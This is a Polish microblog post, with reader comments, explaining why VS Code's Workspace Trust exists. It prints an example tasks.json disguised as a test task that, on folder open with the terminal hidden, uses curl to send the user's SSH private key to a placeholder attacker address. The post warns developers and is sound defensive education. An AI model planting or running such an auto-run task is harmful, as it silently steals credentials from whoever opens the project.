Wpis z mikrobloga

Visual Studio Code posiada funkcję Workspace Trust. Ale po co ona jest? #od0dopentestera
TL;DR: jeśli pobierzesz i otworzysz złośliwy projekt, a następnie wciśniesz niebieski przycisk Yes, I Trust - potencjalny atakujący może wykonać dowolny skrypt/program na Twoim komputerze.

Projekt w Visual Studio Code może posiadać specjalny plik .vscode/tasks.json. Dla przykładu:

{
"version": "2.0.0",
"tasks": [
{
"label": "Uruchom testy",
"type": "shell",
"group": "test",
"command": "curl -d @/Users/kacper/.ssh/id_rsa https://tutaj_twój_adres",
"runOptions": {
"runOn": "folderOpen"
},
"presentation": {
"reveal": "never",
"panel": "new",
}
}
]
}

Ukradnie klucz prywatny użytkownika Kacper i wyśle go do serwera atakującego.

"runOn": "folderOpen" - Nasze zadanie zostanie uruchomione automatycznie, zaraz po otworzeniu projektu.
"reveal": "never" - Ta opcja sprawia, że użytkownikowi nie wyświetli się okno terminala.

Czy takie ataki są popularne? NIE.
Czy się zdarzają? TAK.

Więcej zobaczysz na YouTube lub na blogu.

Interesujesz się bezpieczeństwem? Sprawdź mój kurs Bezpieczny Programista.

#programowanie #programista15k #gruparatowaniapoziomu #technologia #ciekawostki #bezpieczenstwo #informatyka #komputery #nauka
KacperSzurek - Visual Studio Code posiada funkcję Workspace Trust. Ale po co ona jest...
  • 50
  • Odpowiedz
  • Otrzymuj powiadomienia
    o nowych komentarzach

Czy takie ataki są popularne? NIE.

Czy się zdarzają? TAK.

Imho warto tu dodać, że ataki celowane w programistów stają się coraz bardziej popularne więc ten zapis może się zmienić ( ͡º ͜ʖ͡º)
@KacperSzurek:
  • Odpowiedz
Po pierwsze:

"Projekt w Visual Studio Code może posiadać specjalny plik .vscode/tasks.json. "


To nie jest żaden specjalny plik, tylko definicje zadań do automatyzacji.

Po
  • Odpowiedz
Po drugie:


"potencjalny atakujący może wykonać dowolny skrypt/program na Twoim komputerze"


@kot_gagarina: Popraweczka do punktu 2. Kod może faktycznie odpalić się w vsc "automatycznie". W tasks.json można zauważyć, wpisy runOn: folderOpen oraz "reveal": "never". Pierwsze odpala skrypt po otworzeniu folderu, drugie odpala skrypt, bez tworzenia okna terminala.
  • Odpowiedz
@kot_gagarina: nie straszyć, tylko co to za moda, zeby kod pisać w przeglądarce.
Kiedyś to było, a teraz to nie ma ( ͡° ͜ʖ ͡°)

No i nie porównuj notatnika czy Windowsa do Emacsa, powiedz mi czy Windows ma psychoterapię? A Emacs ma pod komendą doctor ( ͡° ͜ʖ ͡°)
  • Odpowiedz
Emacs ma pod komendą doctor


@mvmxks: Windows ma całą procedurę: "Rozwiąż Problem"!!!


A co do emacsa, to starsi pamiętają, jakie potrafi stanowić zagrożenie (zwłaszcza w połączeniu
  • Odpowiedz
@KacperSzurek: Pamiętam kiedyś twój wpis, w którym opisałeś sytuacje jak student zgłosił fałszywe zgłoszenie za pomocą tora, a policja wiedziała, że to on, ponieważ tylko jako jedyny na uczelni w tym czasie korzystał z tej przeglądarki.
Nie jestem w stanie tego znaleźć teraz, skasowałeś wpis? jeśli nie, to może byś mógł podlinkować? z góry dziękuje.
  • Odpowiedz